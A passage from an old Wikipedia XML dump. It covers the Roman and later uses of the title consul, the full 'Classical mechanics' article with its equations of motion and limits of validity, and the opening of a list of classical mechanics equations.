In [[Latin]], ''consules'' means &quot;those who walk together&quot;. If a consul died during his term (not uncommon when consuls were in the forefront of battle), another would be elected, and be known as a '''suffect consul''' (''cos. suff.'').

According to tradition, the consulship was initially reserved for patricians and only in [[367 BC]] the plebeians won the right to stand for this supreme office, when the [[lex Licinia Sextia]] provided that at least one consul each year should be plebeian; the first plebeian consul, [[Lucius Sextius]], was thereby elected the following year.  Modern historians have questioned the traditional account of plebeian emancipation during the Early Republic (see [[Conflict of the Orders]]), noting for instance that about thirty percent of the consuls prior to Sextius had plebeian, not patrician, names; probably only the chronology has been distorted.

During times of war, the primary criterion for consul was military skill and reputation, but at all times the selection was politically charged. With the passage of time, the consulship became the normal endpoint of the ''[[cursus honorum]]'', the sequence of offices pursued by the ambitious Roman. 

Beginning in the late Republic, after finishing a consular year, a former consul would usually serve a lucrative term as a [[Proconsul]], the [[Roman Governor]] of one of the (senatorial) [[Roman provinces|provinces]].

===Empire===

When [[Augustus Caesar|Augustus]] established the [[Principate]], he changed the political nature of the office, stripping it of most of its powers. While still a great honor -in fact invariably the constitutional head of state, hence eponymous- and a requirement for other offices, many consuls would resign part way through the year to allow other men to finish their term as suffects. Those who held the office on [[January 1]], known as the '''consules ordinarii''', had the honor of associating their names with that year. As a result, about half of the men who held the rank of [[praetor]] could also reach the consulship. Sometimes these suffect consuls would in turn resign, and another suffect would be appointed. This reached its extreme under [[Commodus]], when in [[190|AD 190]] twenty-five men held the consulship.

Emperors frequently appointed themselves, protégés, or relatives consul, even without regard to the age requirements. 
For example, [[Flavius Augustus Honorius|Emperor Honorius]] was given the consulship at birth. The most ludicrous excess was when mad emperor [[Caligula]] elevated a horse!

Holding the consulship was a great honor and the office the major symbol of the still republican constitution, so probably as part of seaking formal legitimacy, the break-away [[Gallic Empire]] had its own pairs of consuls during its existence ([[260]]&amp;ndash;[[274]]). The list of consuls for this state is incomplete, drawn from inscriptions and coins.

One of the reforms of [[Constantine I of the Roman Empire|Constantine I]] was to assign one of the consuls to the city of [[Rome]], and the other to [[Constantinople]].  Therefore, when the Roman Empire was divided into two halves on the death of [[Theodosius I]], the emperor of each half acquired the right of appointing one of the consuls&amp;mdash; although one emperor did allow his colleague to appoint both consuls for various reasons. As a result, after the formal end of the Roman Empire in the West, many years would be named for only a single consul. This rank was finally allowed to lapse in the reign of [[Justinian I]]: first with the consul of Rome  in [[534]], [[Decius Paulinus]], then the consul of Constantinople in [[541]], [[Flavius Basilius Junior]].

===Consular dating===
The highest magistrates were eponymous, i.e. each year was officially identified (like a regnal year in a monarchy) by the two  Consuls' names, though there was a more practical numerical dating ''ab urbe condita'' (i.e since the mythical foundation year of Rome). For instance, the year [[59 BC]] in the modern calendar was called by the Romans &quot;the consulship of Caesar and Bibulus,&quot; since the two colleagues in the consulship were [[Julius Caesar]] and [[Marcus Calpurnius Bibulus]] (but Caesar dominated the consulship so thoroughly that year that it was jokingly referred to as &quot;the consulship of Julius and Caesar&quot;). In Latin, the [[ablative absolute]] construction is frequently used to accomplish this, such as &quot;''M. Messalla et M. Pupio Pisone consulibus'',&quot; translated literally as &quot;[[Marcus Messalla]] and [[Marcus Pupio Piso]] being Consuls,&quot; which appears in Caesar's ''[[De Bello Gallico]]''.

In most accounts of Roman history, consular elections are detailed and usually mark the beginning of each year, as the Consuls were elected in January. Outgoing Consuls were expected to return to Rome to oversee the elections.

===Lists of Roman Consuls===
For a complete list of Roman consuls, see:
* [[List of Republican Roman Consuls]] (before 33&amp;nbsp;BC)
* [[List of early imperial Roman consuls]] ([[33 BC|33&amp;nbsp;BC]]&amp;#8209;[[192|AD&amp;nbsp;192]])
* [[List of late imperial Roman consuls]] (after AD&amp;nbsp;192)

==Other uses in antiquity==
===Other city states===
While in many cities their was a double-headed chief magustracy, often another title was used, such as Duumvir or native styles such as Meddix, but in some Consul was used.

===Private sphere===
It was not uncommon for various organisations under Roman private law to copy the terminology of state and city institutions for its own statutory agents (the very founding statute or contract was also called ''lex'', 'law')

==In Feudal times==
In various Italian city states, the republican regimes (elsewhere or in other periods, the Bishop or a hereditary Prince or Lord was in charge) gave its [[Chief Magistrate]]s the title of consul ...
The same happened in some cities in France, especially in the Mediterranean south, e.g. [[Avignon]]

==Modern republics==

===French republican consuls===
In [[1799]], revolutionary [[France]] enacted a constitution that conferred supreme executive powers upon ''three'' officials that bore the title &quot;consul&quot; as chief magistracy of the republic. In reality, however, the state was de facto under personal control of the [[First Consul]], general [[Napoleon I of France|Napoleon Bonaparte]], so in political terms it was more like a re-edition of Julius Caesar's and Octavian's [[triumvirate]]s. 

Originally the consuls were to hold office for a period of ten years, but in 1802 Bonaparte was declared First ''Consul for life'' (lifetime consulate was introduced for Second and Third Consuls as well), again rather like Caesar was Dictator for life (after declining the royal style). The French consulate ceased to exist when Bonaparte was declared [[Emperor]] of the French in 1804.

===Roman republican consuls===
Since on [[15 February]] [[1798]] - [[23 June]] [[1800]] the [[Roman Republic]] was declared, 
it was headed by multiple (not just two-member) consulate, which [[27 November]] [[1798]] - [[12 December]] [[1798]] occupied by &quot;Sicily&quot; (Naples); since [[11 July]] [[1799]] - [[28 September]] [[1799]] the republic was occupied by France, [[30 September]] [[1799]] - [[23 June]] [[1800]] occupied by &quot;Sicily&quot; (i.e. the kingdom of Naples), later one of the home-realms of the Italian kingdom. 

The members of the Consulates were:
*[[15 February]] [[1798]] - [[20 March]] [[1798]] there were Provisional Consuls:  Briganti, Carlo Luigi Costantini, Pio Camillo, duca Bonelli-Crescenzi, Gioacchino Pessuti, Antonio Bassi &amp; Maggi, Stampa &amp; Liborio Angelucci 
*[[20 March]] [[1798]] - September 1798 the first regular Consuls:  Liborio Angelucci, Giacomo De Mattheis, Panazzi, Reppi &amp; Ennio Quirino Visconti 
*September 1798 - [[27 November]] [[1798]] again Consuls:  Brigi (1st time), Calisti (1st time), Francesco Pierelli (1st time), Giuseppe Rey (1st time) &amp; Federico Maria Domenico Michele Zaccaleoni (1st time) (b. 1760 - d. 18..)    
*After the [[29 November]] [[1798]] - [[12 December]] [[1798]] Provisional Government of five (Princes Giambattista Borghese, Paolo-Maria Aldobrandini &amp; Prince Gibrielli,  Marchese Camillo Massimo &amp; Giovanni Ricci), the [[12 December]] [[1798]] - [[24 July]] [[1799]]  Consuls:  Brigi (2nd time),  Calisti (2nd time),  Francesco Pierelli (2nd time),  Giuseppe Rey (2nd time),  Federico Maria Domenico Michele Zaccaleoni (2nd time)

===Paraguay===
In between series of juntas (and various other short-lived regimes), the young republic was govered by Consuls of the Republic in power (2 consuls alternating in power every 4 months): 
*[[12 October]] [[1813]] - [[12 February]] [[1814]]  José Gaspar Rodríguez de Francia y Velasco (1st time)
*[[12 February]] [[1814]] - [[12 June]] [[1814]]  Fulgencio Yegros y Franco de Torres  
*[[12 June]] [[1814]] - [[3 October]] [[1814]]  José Gaspar Rodríguez de Francia y Velasco (2nd time); he stayed on as [[Supreme Dictator]] [[3 October]] [[1814]] - [[20 September]] [[1840]] (from [[6 June]] [[1816]] styled Perpetual Supreme Dictator)

After a few Presidents of the Provisional Junta, there were again Consuls of the Republic, [[14 March]] [[1841]] - [[13 March]] [[1844]] (ruling jointly, but occasionally styled First Consul, Second Consul): Carlos Antonio López Ynsfrán (b. 1792 - d. 1862) + Mariano Roque Alonzo Romero (d. 1853) (the lasts of the aforemenioned juntistas, Commandant-General of the Army) 
Thereafter all republcan rulers were styled President

===Partitioned revolutionary Greece===
Among the many petty republics that shortly existed while [[21 March]] [[1821]] - [[6 February]] [[1833]] Greek Revolutionary Authorities had to step in after the term of the last Ottoman [[Wali]] (governor), were:
*The Consulate of [[Argo]]s (from [[26 May]] [[1821]], under the Senate of Peloponnes) had a single Head of state, bizarly styled consul, [[28 March]] [[1821]] - [[26 May]] [[1821]]: Stamatellos Antonopoulos 
*The Consulate of East Greece ([[Levadea]]) (from [[15 November]] [[1821]], under Senate of East Greece) was headed [[1 April]] [[1821]] - [[15 November]] [[1821]] by three Consuls:  Lambros Nakos, Ioannis Logothetis &amp; Ioannis Filon

==See also==
* [[Consularis]] (Roman gubernatorial style)
* [[List of Ancient Rome-related topics]]
* [[Political institutions of Rome]]

==Sources and references==
*[[Pauly-Wissowa]]
*[http://www.worldstatesmen.org/ WorldStatesmen- see each present country]

[[Category:Ancient Roman titles]]
[[Category:Heads of government]]
[[Category:Heads of state]]
[[Category:Military ranks]]

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  </page>
  <page>
    <title>Classical mechanics</title>
    <id>6048</id>
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      <id>41774578</id>
      <timestamp>2006-03-01T17:33:31Z</timestamp>
      <contributor>
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      <minor />
      <text xml:space="preserve">{{merge|Newtonian mechanics}}
In [[physics]], '''classical mechanics''' or '''Newtonian mechanics''' is one of the two major sub-fields of study in the science of [[mechanics]], which is concerned with the set of [[physical law]]s governing and mathematically describing the motions of [[physical body|bodies]] and aggregates of bodies. The other sub-field is [[quantum mechanics]]. The term '''classical mechanics''' was coined in the early 20th century to describe the system of mathematical physics developed in the 400 years since the groundbreaking works of [[Tycho Brahe|Brahe]], [[Johannes Kepler|Kepler]], and [[Galileo Galilei|Galileo]], but before the development of quantum physics.  '''Quantum physics''' (and more specifically '''quantum mechanics''') refers to developments since approximately 1900, starting with similarly decisive discoveries by [[Max Planck|Planck]], [[Albert Einstein|Einstein]], and [[Niels Henrik David Bohr|Bohr]].
&lt;!--The notion of “classical“ may be somewhat confusing, insofar as this term usually refers to the era of [[classical antiquity]] in [[European history]]. While many discoveries within the [[mathematics]] of that period remain in full force today, and of the greatest use, the same cannot be said about its &quot;science&quot;. This in no way belittles the many important developments, especially within technology, which took place in antiquity and during the [[Middle Ages]] in Europe and elsewhere.

However, the emergence of classical mechanics was a decisive stage in the development of [[science]], in the modern sense of the term. What characterizes it, above all, is its insistence on [[mathematics]] (rather than [[speculation]]), and its reliance on [[experiment]] (rather than [[observation]]). With classical mechanics it was established how to formulate [[quantitative]] predictions in [[theory]], and how to test them by carefully designed [[measurement]]. The emerging globally cooperative endeavor increasingly provided for much closer scrutiny and testing, both of theory and experiment. This was, and remains, a key factor in establishing certain knowledge, and in bringing it to the service of society. History shows how closely the health and wealth of a society depends on nurturing this investigative and critical approach. --&gt;
The initial stage in the development of classical mechanics is often referred to as [[Newtonian mechanics]], and is associated with the mathematical methods invented by [[Isaac Newton|Newton]] himself, in parallel with [[Gottfried Wilhelm von Leibniz|Leibniz]], and others. This is further described in the following sections. More abstract, and general methods include [[Lagrangian mechanics|Lagrangian mechanics]] and [[Hamiltonian mechanics]].  While the terms '''classical mechanics''' and '''Newtonian mechanics''' are usually considered equivalent, the conventional content of classical mechanics was created in the 19th century and differs considerably (particularly in its use of analytical mathematics) from the work of [[Isaac Newton|Newton]].

Classical mechanics produces very accurate results within the domain of everyday experience. It is enhanced by [[special relativity]] for objects moving with high [[velocity]], more than about a third the [[speed of light]]. Classical mechanics is used to describe the motion of macroscopic objects, from [[projectiles]] to parts of [[machinery]], as well as [[astronomical objects]], such as [[spacecraft]], [[planets]], [[stars]], and [[galaxies]], and even microscopic objects such as large [[molecules]]. Besides this, many specialties exist, dealing with [[gases]], [[liquids]], and [[solids]], and so on. It is one of the largest subjects in science and technology.

== Description of the theory ==

The following introduces the basic concepts of classical mechanics. For simplicity, it uses [[point particle]]s, objects with [[negligible]] size. The motion of a point particle is characterized by a small number of [[parameters]]: its [[position]], [[mass]], and the [[force]]s applied to it. Each of these parameters is discussed in turn.

In reality, the kind of objects which classical mechanics can describe always have a non-zero size. True point particles, such as the [[electron]], are normally better described by [[quantum mechanics]]. Objects with non-zero size have more complicated behavior than hypothetical point particles, because of the additional [[degrees of freedom]]&amp;mdash;for example, a [[baseball]] can [[rotation|spin]] while it is moving. However, the results for point particles can be used to study such objects by treating them as [[composite]] objects, made up of a large number of interacting point particles. The [[center of mass]] of a composite object behaves like a point particle.

=== Position and its derivatives ===

The ''position'' of a point particle is defined with respect to an arbitrary fixed point in [[space]], which is sometimes called the ''origin'', '''O'''. It is defined as the [[vector (spatial)|vector]] '''r''' from '''O''' to the particle. In general, the point particle need not be stationary, so '''r''' is a function of ''t'', the [[time]] elapsed since an arbitrary initial time. In pre-Einstein relativity (known as [[Galilean relativity]]), time is considered an absolute in all [[reference frame]]s. In addition to relying on [[absolute time]], classical mechanics uses [[Euclidean geometry]] {{ref|MITlecture}}.

==== Velocity ====
The ''[[velocity]]'', or the [[calculus|rate of change]] of position with time, is defined as the [[derivative]] of the position with respect to time or

: &lt;math&gt;\mathbf{v} = {d\mathbf{r} \over dt}&lt;/math&gt;.

In classical mechanics, velocities are directly additive and subtractive. For example, if one car traveling East at 60 km/h passes another car traveling East at 50 km/h, then from the perspective of the slower car, the faster car is traveling East at 60&amp;minus;50 = 10 km/h. Whereas, from the perspective of the faster car, the slower car is moving 10 km/h to the West. What if the car is traveling north? Velocities are directly additive as vector quantities; they must be dealt with using vector analysis.

Mathematically, if the velocity of the first object in the previous discussion is denoted by the vector '''u''' = ''u'''''d''' and the velocity of the second object by the vector '''v''' = ''v'''''e'''  where ''u'' is the speed of the first object, ''v'' is the speed of the second object, and '''d''' and '''e''' are [[unit vector]]s in the directions of motion of each particle respectively, then the velocity of the first object as seen by the second object is:

:'''u'''' = '''u''' - '''v'''

Similarly:

:'''v'''' = '''v''' - '''u'''

When both objects are moving in the same direction, this equation can be simplified to:

:'''u'''' = ( ''u'' - ''v'' ) '''d'''

Or, by ignoring direction, the difference can be given in terms of speed only:

:''u''' = ''u'' - ''v''

==== Acceleration ====

The ''[[acceleration]]'', or rate of change of velocity, is the [[derivative]] of the velocity with respect to time or

: &lt;math&gt;\mathbf{a} = {d\mathbf{v} \over dt}&lt;/math&gt;.

The acceleration vector can be changed by changing its magnitude, changing its direction, or both. If the magnitude of '''v''' decreases, this is sometimes referred to as ''deceleration'' or ''retardation''; but generally any change in the velocity, including deceleration, is simply referred to as acceleration.

==== Frames of reference ====

The following consequences can be derived about the perspective of an event in two reference frames, ''S'' and ''S''', where ''S''' is traveling at a relative velocity of '''u''' to ''S''.

* '''v'''' =  '''v''' - '''u''' (the velocity '''v'''' of a particle from the perspective of ''S''' is slower by '''u''' than its velocity '''v''' from the perspective of ''S'')
* '''a'''' = '''a''' (the acceleration of a particle remains the same regardless of reference frame)
* '''F'''' = '''F''' (since '''F''' = ''m'''''a''') (the force on a particle remains the same regardless of reference frame; see [[Newton's laws of motion|Newton's law]])
* the [[speed of light]] is not a constant in classical mechanics
* the form of [[Maxwells equations|Maxwell's equations]] is not preserved across reference frames

=== Forces; Newton's second law ===

[[Newton's laws of motion|Newton's second law]] relates the [[mass]] and velocity of a particle to a vector quantity known as the [[Force (physics)|force]]. If ''m'' is the mass of a particle and '''F''' is the vector sum of all applied forces (i.e. the ''net'' applied force), Newton's second law states that

: &lt;math&gt;\mathbf{F} = {d(m \mathbf{v}) \over dt}= {d\mathbf{p} \over dt}&lt;/math&gt;.

The quantity ''m'''''v''' is called the [[momentum]]. The net force on a particle is, thus, equal to rate change of [[momentum]] of the particle with time. Typically, the mass ''m'' is constant in time, and Newton's law can be written in the simplified form

: &lt;math&gt;\mathbf{F} = m \mathbf{a}&lt;/math&gt;

  
where &lt;math&gt;\mathbf a = \frac {d \mathbf v} {dt}&lt;/math&gt; is the acceleration. It is not always the case that ''m'' is independent of ''t''. For example, the mass of a [[rocket]] decreases as its propellant is ejected. Under such circumstances, the above equation is incorrect and the full form of Newton's second law must be used.

Newton's second law is insufficient to describe the motion of a particle. In addition, it requires a value for '''F''', obtained by considering the particular physical entities with which the particle is interacting. For example, a typical [[resistive force]] may be modelled as a function of the velocity of the particle, for example:

: &lt;math&gt;\mathbf{F}_{\rm R} = - \lambda \mathbf{v}&lt;/math&gt;

with &amp;lambda; a positive constant. Once independent relations for each force acting on a particle are available, they can be substituted into Newton's second law to obtain an [[differential equation|ordinary differential equation]], which is called the ''equation of motion''. Continuing the example, assume that friction is the only force acting on the particle. Then the equation of motion is

: &lt;math&gt;- \lambda \mathbf{v} = m \mathbf{a} = m {d\mathbf{v} \over dt}&lt;/math&gt;.

This can be [[integration|integrated]] to obtain

: &lt;math&gt;\mathbf{v} = \mathbf{v}_0 e^{- \lambda t / m}&lt;/math&gt;

where '''v'''&lt;sub&gt;0&lt;/sub&gt; is the initial velocity. This means that the velocity of this particle [[exponential decay|decays exponentially]] to zero as time progresses. This expression can be further integrated to obtain the position '''r''' of the particle as a function of time.

Important forces include the [[gravity|gravitational force]] and the [[Lorentz force]] for [[electromagnetism]]. In addition, Newton's third law can sometimes be used to deduce the forces acting on a particle: if it is known that particle A exerts a force '''F''' on another particle B, it follows that B must exert an equal and opposite ''reaction force'', -'''F''', on A.  The strong form of Newton's third law requires that '''F''' and -'''F''' act along the line connecting A and B, while the weak form does not.  Illustrations of the weak form of Newton's third law are often found for magnetic forces.

=== Energy ===

If a force '''F''' is applied to a particle that achieves a displacement &amp;Delta;'''s''', the ''work done'' by the force is the scalar quantity

: &lt;math&gt; \Delta W = \mathbf{F} \cdot \Delta \mathbf{s} &lt;/math&gt;.

If the mass of the particle is constant, and &amp;Delta;''W''&lt;sub&gt;total&lt;/sub&gt; is the total work done on the particle, obtained by summing the work done by each applied force, from Newton's second law:

: &lt;math&gt;\Delta W_{\rm total} = \Delta E_k \,\!&lt;/math&gt;,

where ''E&lt;sub&gt;k&lt;/sub&gt;'' is called the [[kinetic energy]]. For a point particle, it is defined as

: &lt;math&gt; E_k = \begin{matrix} \frac{1}{2} \end{matrix} mv^2 &lt;/math&gt;.

For extended objects composed of many particles, the kinetic energy of the composite body is the sum of the kinetic energies of the particles.

A particular class of forces, known as ''conservative forces'', can be expressed as the [[gradient]] of a scalar function, known as the [[potential energy]] and denoted ''E&lt;sub&gt;p&lt;/sub&gt;'':

: &lt;math&gt;\mathbf{F} = - \nabla E_p&lt;/math&gt;.

If all the forces acting on a particle are conservative, and ''E&lt;sub&gt;p&lt;/sub&gt;'' is the total potential energy, obtained by summing the potential energies corresponding to each force

{|
|
| &lt;math&gt;\mathbf{F} \cdot \Delta \mathbf{s} = - \nabla E_p \cdot \Delta \mathbf{s} = - \Delta E_p
 \Rightarrow - \Delta E_p = \Delta E_k  \Rightarrow \Delta (E_k + E_p) = 0 \,\!&lt;/math&gt;.
|}

This result is known as ''conservation of energy'' and states that the total [[energy]],

: &lt;math&gt;\sum E = E_k + E_p \,\!&lt;/math&gt;

is constant in time. It is often useful, because many commonly encountered forces are conservative.

=== Beyond Newton's Laws ===

Classical mechanics also includes descriptions of the complex motions of extended non-pointlike objects.  The concepts of [[angular momentum]] rely on the same [[calculus]] used to describe one-dimensional motion.

There are two important alternative formulations of classical mechanics: [[Lagrangian mechanics]] and [[Hamiltonian mechanics]]. They are equivalent to Newtonian mechanics, but are often more useful for solving problems. These, and other modern formulations, usually bypass the concept of &quot;force&quot;, instead referring to other physical quantities, such as energy, for describing mechanical systems.

=== Classical transformations ===

Consider two [[reference frames]] ''S'' and ''S' ''.  For observers in each of the reference frames an event has space-time coordinates of (''x'',''y'',''z'',''t'') in frame ''S'' and (''x' '',''y' '',''z' '',''t' '') in frame ''S' ''.  Assuming time is measured the same in all reference frames, and if we require ''x'' = ''x''' when ''t'' = 0, then the relation between the space-time coordinates of the same event observed from the reference frames ''S' '' and ''S'', which are moving at a relative velocity of ''u'' in the ''x'' direction is:

:''x''' = ''x'' - ''ut''
:''y''' = ''y''
:''z''' = ''z''
:''t''' = ''t''

This set of formulas defines a [[group transformation]] known as the [[Galilean transformation]] (informally, the ''Galilean transform'').  This type of transformation is a limiting case of [[Special Relativity]] when the velocity u is very small compared to c, the [[speed of light]].

For some problems, it is convenient to use rotating coordinates (reference frames).  This requires introducing the additional, one might say virtual, [[Centrifugal force]] and [[Coriolis force]] that do not exist in an inertial reference frame.

== History ==
''Main article:'' [[History of classical mechanics]]

The [[Greece|Greeks]], and [[Aristotle]] in particular, were the first to propose that there are abstract principles governing nature.

One of the first scientists who suggested abstract laws was [[Galileo Galilei]] who may have performed the famous experiment of dropping two cannon balls from the [[Leaning Tower of Pisa|tower of Pisa]]. (The theory and the practice showed that they both hit the ground at the same time.) Though the reality of this experiment is disputed, he did carry out quantitative experiments by rolling balls on an [[inclined plane]]; his correct theory of accelerated motion was apparently derived from the results of the experiments.

[[Sir Isaac Newton]] was the first to propose the three laws of motion (the law of inertia, his second law mentioned above, and the law of action and reaction), and to prove that these laws govern both everyday objects and celestial objects.

Newton and most of his contemporaries, with the notable exception of [[Christiaan Huygens]] hoped that classical mechanics would be able to explain all entities, including (in the form of geometric optics) light.  When he discovered [[Newton's rings]], Newton's own explanation avoided wave principles and resembled more the explanation for the decay of the neutral [[Kaon]]s, K&lt;sup&gt;0&lt;/sup&gt; and K&lt;sup&gt;0&lt;/sup&gt; bar.  That is, he supposed that the light particles were altered or excited by the glass and resonated.

Newton also developed the [[calculus]] which is necessary to perform the mathematical calculations involved in classical mechanics.  However it was [[Gottfried Leibniz]] who developed the notation of the [[derivative]] and [[integral]] which are used to this day.

After Newton the field became more mathematical and more abstract.

Although classical mechanics is largely compatible with other &quot;[[classical physics]]&quot; theories such as classical [[electrodynamics]] and [[thermodynamics]], some difficulties were discovered in the late 19th century that could only be resolved by more modern physics. When combined with classical thermodynamics, classical mechanics leads to the [[Gibbs paradox]] in which [[entropy]] is not a well-defined quantity.  As experiments reached the atomic level, classical mechanics failed to explain, even approximately, such basic things as the energy levels and sizes of atoms.  The effort at resolving these problems led to the development of [[quantum mechanics]].  Similarly, the different behaviour of classical [[electromagnetism]] and classical mechanics under velocity transformations led to the [[theory of relativity]].

By the end of the 20th century, the place of classical mechanics in [[physics]] is no longer that of an independent theory.  Along with classical [[electromagnetism]], it has become imbedded in [[relativistic]] [[quantum mechanics]] or [[quantum field theory]]{{ref|Lectures-2-10}}.  It is the non-relativistic, non-quantum mechanical limit for massive particles.

== Limits of validity ==

=== The classical approximation to [[special relativity]] ===

Non-relativistic classical mechanics approximates the relativistic momentum &lt;math&gt;\frac{m_0 v}{ \sqrt{1-v^2/c^2}}&lt;/math&gt; with &lt;math&gt;m_0 v&lt;/math&gt;, so it is only valid when the velocity is much less than the speed of light.
For example, the relativistic cyclotron frequency of a [[cyclotron]], [[gyrotron]], or high voltage [[magnetron]] is given by &lt;math&gt;f=f_c\frac{m_0}{m_0+T/c^2}&lt;/math&gt;, where 
&lt;math&gt;f_c&lt;/math&gt; is the classical frequency of an electron (or other charged particle) with kinetic energy &lt;math&gt;T&lt;/math&gt; and (rest) mass &lt;math&gt;m_0&lt;/math&gt; circling in a magnetic field.
The (rest) mass of an electron is 511 keV.
So the frequency correction is 1% for a magnetic vacuum tube with a 5.11 kV. direct current accelerating voltage.

=== The classical approximation to [[quantum mechanics]] ===

The ray approximation of classical mechanics breaks down when the [[De Broglie hypothesis|de Broglie]] wave length is not much smaller than other dimensions of the system.  For non-relativistic particles, this wave length is

:&lt;math&gt;\lambda=\frac{2\pi\hbar}{p}&lt;/math&gt;

where &lt;math&gt;\hbar&lt;/math&gt; is [[Plank's constant]] divided by &lt;math&gt;2\pi&lt;/math&gt; and &lt;math&gt;p&lt;/math&gt; is the momentum.

Again, this happens with [[electrons]] before it happens with heavier particles.  For example, the electrons used by [[Clinton Davisson]] and [[Lester Germer]] in 1927, accelerated by 54 volts, had a wave length of 0.167 nm, which was long enough to exhibit a single [[diffraction]] [[side lobe]] when reflecting from the face of a nickel [[crystal]] with atomic spacing of 0.215 nm.
With a larger [[vacuum chamber]], it would seem relatively easy to increase the [[angular resolution]] from around a radian to a milliradian and see quantum diffraction from the periodic patterns of [[integrated circuit]] computer memory.

More practical examples of the failure of classical mechanics on an engineering scale are conduction by [[quantum tunneling]] in [[tunnel diode]]s and very narrow [[transistor]] [[gate (transistor)|gate]]s in [[integrated circuit]]s.

Classical mechanics is the same extreme [[high frequency approximation]] as [[geometric optics]].  It is more often accurate because it describes particles and bodies with [[rest mass]].  These have more momentum and therefore shorter De Broglie wave lengths than massless particles, such as light, with the same kinetic energies.

== See also ==

* [[Celestial mechanics]]
* [[List of equations in classical mechanics]]
* [[List of publications in physics#Classical mechanics|List of publications in classical mechanics]]

== Notes ==
#{{note|MITlecture}} [http://ocw.mit.edu/NR/rdonlyres/Physics/8-01Physics-IFall2003/B4144452-A6DE-464D-A0FA-D4D057AA9222/0/binder1.pdf MIT physics 8.01 lecture notes (page 12)] (PDF)
#{{note|Lectures-2-10}} - Page 2-10 of the ''[[Feynman Lectures on Physics]]'' says &quot;For already in classical mechanics there was indeterminability from a practical point of view.&quot;  The past tense here implies that classical physics is no longer fundamental.

==References==
*{{cite book | author=Feynman, Richard | title=Six Easy Pieces | publisher=Perseus Publishing | year=1996 | id=ISBN 0201408252}}
*{{cite book | author=Feynman, Richard; Phillips, Richard | title=Six Easy Pieces | publisher=Perseus Publishing | year=1998 | id=ISBN 0201328410}}
*{{cite book | author=Feynman, Richard | title=Lectures on Physics | publisher=Perseus Publishing | year=1999 | id=ISBN 0738200921}}
*{{cite book | author=Landau, L. D.; Lifshitz, E. M. | title=Mechanics and Electrodynamics, Vol. 1 | publisher=Franklin Book Company, Inc. | year=1972 | id=ISBN 008016739X}}

* Kleppner, D. and Kolenkow, R. J., ''An Introduction to Mechanics'', McGraw-Hill (1973). ISBN 0070350485
* [[Gerald Jay Sussman]] and [[Jack Wisdom]], ''Structure and Interpretation of Classical Mechanics'' ([[SICM]]), MIT Press (2001). ISBN 0-262-019455-4
* [[Herbert Goldstein]], Charles P. Poole, John L. Safko, ''Classical Mechanics (3rd Edition)'', Addison Wesley; ISBN 0201657023
* Robert Martin Eisberg, ''Fundamentals of Modern Physics'', John Wiley and Sons, 1961

==External links==

* Binney, Kames. [http://www-thphys.physics.ox.ac.uk/users/JamesBinney/ Classical Mechanics] (Lagrangian and Hamiltonian formalisms)
* Crowell, Benjamin. [http://www.lightandmatter.com/area1book1.html Newtonian Physics] (an introductory text, uses algebra with optional sections involving calculus)
* Fitzpatrick, Richard. [http://farside.ph.utexas.edu/teaching/301/301.html Classical Mechanics] (uses calculus)
* Hoiland, Paul (2004). [http://doc.cern.ch//archive/electronic/other/ext/ext-2004-126.pdf Preferred Frames of Reference &amp; Relativity]
* Horbatsch, Marko, &quot;''[http://www.yorku.ca/marko/PHYS2010/index.htm Classical Mechanics Course Notes]''&quot;.
* Rosu, Haret C., &quot;''[http://arxiv.org/abs/physics/9909035 Classical Mechanics]''&quot;. Physics Education. 1999. [arxiv.org : physics/9909035]
* Schiller, Christoph. [http://www.dse.nl/motionmountain/welcome.html Motion Mountain] (an introductory text, uses some calculus)
* Sussman, Gerald Jay &amp; Wisdom, Jack (2001). [http://mitpress.mit.edu/SICM/ Structure and Interpretation of Classical Mechanics]
* Tong, David. [http://www.damtp.cam.ac.uk/user/tong/dynamics.html Classical Dynamics] (Cambridge lecture notes on Lagrangian and Hamiltonian formalism)

{{Physics-footer}}

[[Category:Classical mechanics|*]]

[[ar:ميكانيكا كلاسيكية]]
[[bg:Класическа механика]]
[[da:Klassisk mekanik]]
[[de:Klassische Mechanik]]
[[el:Κλασική Μηχανική]]
[[es:Mecánica clásica]]
[[fr:Mécanique newtonienne]]
[[gl:Mecánica clásica]]
[[ko:고전 역학]]
[[hr:Klasična mehanika]]
[[id:Mekanik klasik]]
[[is:Klassísk aflfræði]]
[[it:Meccanica classica]]
[[he:מכניקה קלאסית]]
[[la:Mechanica classica]]
[[hu:Klasszikus mechanika]]
[[nl:Klassieke mechanica]]
[[ja:古典力学]]
[[no:Klassisk mekanikk]]
[[pl:Mechanika klasyczna]]
[[pt:Mecânica clássica]]
[[ro:Mecanica clasică]]
[[ru:Классическая механика]]
[[fi:Klassinen mekaniikka]]
[[vi:Cơ học cổ điển]]
[[uk:Класична механіка]]
[[zh:经典力学]]</text>
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  <page>
    <title>List of equations in classical mechanics</title>
    <id>6050</id>
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      <text xml:space="preserve">This page gives a summary of important equations in [[classical mechanics]].

== Nomenclature ==

: '''''a''''' = acceleration (m/s&amp;sup2;)
: ''g'' = gravitational constant (m/s&amp;sup2;)
: '''''F''''' = force (N = kg m/s&amp;sup2;)
: ''E''&lt;sub&gt;k&lt;/sub&gt; = kinetic energy (J = kg m&amp;sup2;/s&amp;sup2;)
: ''E''&lt;sub&gt;p&lt;/sub&gt; = potential energy (J = kg m&amp;sup2;/s&amp;sup2;)
: ''m'' = mass (kg)
: '''''p''''' = momentum (kg m/s)
: '''''s''''' = position (m)
: '''''R''''' = radius (m)
: ''t'' = time (s)
: '''''v''''' = velocity (m/s)
: '''''v'''''&lt;sub&gt;0&lt;/sub&gt; = velocity at time t=0
: ''W'' = work (J = kg m&amp;sup2;/s&amp;sup2;)
: '''''&amp;tau;''''' = torque (J = N m) (torque is the rotational form of force)
: '''''s'''''(t) = position at time t
: '''''s'''''&lt;sub&gt;0&lt;/sub&gt; = position at time t=0
: '''''r'''''&lt;sub&gt;unit&lt;/sub&gt; = unit vector pointing from the origin in polar coordinates
: '''''&amp;theta;'''''&lt;sub&gt;unit&lt;/sub&gt; = unit vector pointing in the direction of increasing values of theta in polor coordinates

Note: All quantities in bold represent vectors.

== Defining Equations ==

=== [[Center of mass]] ===

In the discrete case:
: &lt;math&gt;\mathbf{s}_{\hbox{CM}} = {1 \over m_{\hbox{total}}} \sum_{i = 0}^{n} m_i \mathbf{s}_i&lt;/math&gt;
where &lt;math&gt;n&lt;/math&gt; is the number of mass particles.

Or in the continuous case:
: &lt;math&gt;\mathbf{s}_{\hbox{CM}} = {1 \over m_{\hbox{total}}} \int \rho(\mathbf{s}) dV&lt;/math&gt;
where &amp;rho;('''s''') is the scalar mass density as a function of the position vector

=== Velocity ===

: &lt;math&gt;\mathbf{v}_{\mbox{average}} = {\Delta \mathbf{s} \over \Delta t}&lt;/math&gt;
